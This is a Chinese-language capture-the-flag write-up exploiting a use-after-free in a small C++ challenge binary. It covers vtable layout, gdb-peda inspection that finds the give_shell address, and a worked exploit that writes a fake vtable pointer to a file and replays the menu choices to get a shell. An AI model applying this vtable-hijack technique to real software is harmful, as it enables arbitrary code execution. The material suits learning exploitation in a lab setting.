0x01 分析
简单的use-after-free的漏洞,明显可以看到在选择case3的时候,将两个对象m和w释放时候没有将指针置零,出现悬空指针,如果后续可以重新分配回这两块被释放的内存,然后又被指针m或者w操作,就会出现一些问题。
1 |
|
首先要明确c++类的几个问题:
- 类的大小问题:
- 类的大小与普通成员变量、虚函数、继承有关,而与静态成员变量、静态成员函数、普通成员函数无关;
- 空类(没有成员函数、成员变量)和只含有成员函数的类大小为1字节、用于占位;
- 一般类的大小只需要计算成员变量即可(注意和4字节或者8字节对齐);
- 含有虚函数的单一继承,对象内存空间最开始(偏移为0)是虚函数表指针,然后排列成员函数(注意对齐原则);
- 如果派生类继承了含有虚函数的基类,还重写了基类的虚函数,还定义了自己的虚函数,那么对象内存空间最开始还是虚函数表指针,虚函数表将会用重写的虚函数代替基类的虚函数,并添加自己的虚函数;
- 如果派生类继承了多个含有虚函数的基类,那么派生类的虚函数表按照5与第一个基类合并,其他的同时继承过来(也就会会有多个虚函数指针);
0x02 利用思路
程序接受2个命令行参数arg1和arg2, 在选择case2的时候这两个参数生效,第一个参数用于申请arg1个字节的空间,第二个参数用于从文件arg2中读取arg1个字节的数据;
如果先选择case3,就会出现2块被释放的空间,同时有两个悬空指针,那么此时如果arg1==被释放的空间的大小,就会重新申请回来,并且这块空间的数据是可控的(从文件arg2中读取arg1个字节写入这块空间);
由于w是后释放的,因此要连续分配两次才可以获取到m的空间;
在申请到的m的空间中写入
give_shell
的地址,当调用introduce的时候就实际上调用了give_shell
;
0x03调试
分配的空间的大小:由于含有一个string,而不同的string实现库有不同的实现,因此不知道string占4、8、12或者更多字节。
1
20x0000000000400efb <+55>: mov edi,0x18
0x0000000000400f00 <+60>: call 0x400d90 <operator new(unsigned long)@plt>
在operator new之前的指令说明对象的大小为0x18(24)个字节。
give_shell()的地址
每个类都有一个vtable,而每个对象有一个虚表指针vptr指向vtable,在内存布局中位于对象内存偏移量为0的地方。
为了找到虚函数的地址,断点下在构造函数
0x0000000000400f13 <+79>: call 0x401264 <Man::Man(std::string, int)>
,ni
指向到下一条指令,而64位中使用rax传递返回值,此时的rax值就是对象的地址值,对象的前8byte就是虚表地址。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26[----------------------------------registers-----------------------------------]
RAX: 0x12bbc50 --> 0x401570 --> 0x40117a (<Human::give_shell()>: push rbp)
RBX: 0x12bbc50 --> 0x401570 --> 0x40117a (<Human::give_shell()>: push rbp)
[-------------------------------------code-------------------------------------]
0x400f13 <main+79>: call 0x401264 <Man::Man(std::string, int)>
=> 0x400f18 <main+84>: mov QWORD PTR [rbp-0x38],rbx
[------------------------------------stack-------------------------------------]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400f18 in main ()
gdb-peda$ x/10gx 0x12bbc50
0x12bbc50: 0x0000000000401570 0x0000000000000019
0x12bbc60: 0x00000000012bbc38 0x00000000000203a1
0x12bbc70: 0x0000000000000000 0x0000000000000000
0x12bbc80: 0x0000000000000000 0x0000000000000000
0x12bbc90: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/10gx 0x0000000000401570
0x401570 <vtable for Man+16>: 0x000000000040117a 0x00000000004012d2
0x401580 <vtable for Human>: 0x0000000000000000 0x00000000004015f0
0x401590 <vtable for Human+16>: 0x000000000040117a 0x0000000000401192
0x4015a0 <typeinfo name for Woman>: 0x00006e616d6f5735 0x0000000000000000
0x4015b0 <typeinfo for Woman>: 0x0000000000602390 0x00000000004015a0
gdb-peda$ x/gx 0x000000000040117a
0x40117a <Human::give_shell()>: 0x10ec8348e5894855
gdb-peda$ x/gx 0x00000000004012d2内存布局如下:
为了让程序在调用introduce的时候变成调用give_shell,而由于调用虚函数就是虚表首地址+偏移,因此可以让对象的vptr指向
0x401570 - 0x8 = 0x401568
的位置,当调用introduce就变成了调用give_shell。0x04 利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25$ touch magic
$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > magic
$ cat magic
h@
$ ./uaf 24 magic
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ id
uid=1000(drinkwater) gid=1000(drinkwater) groups=1000(drinkwater),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)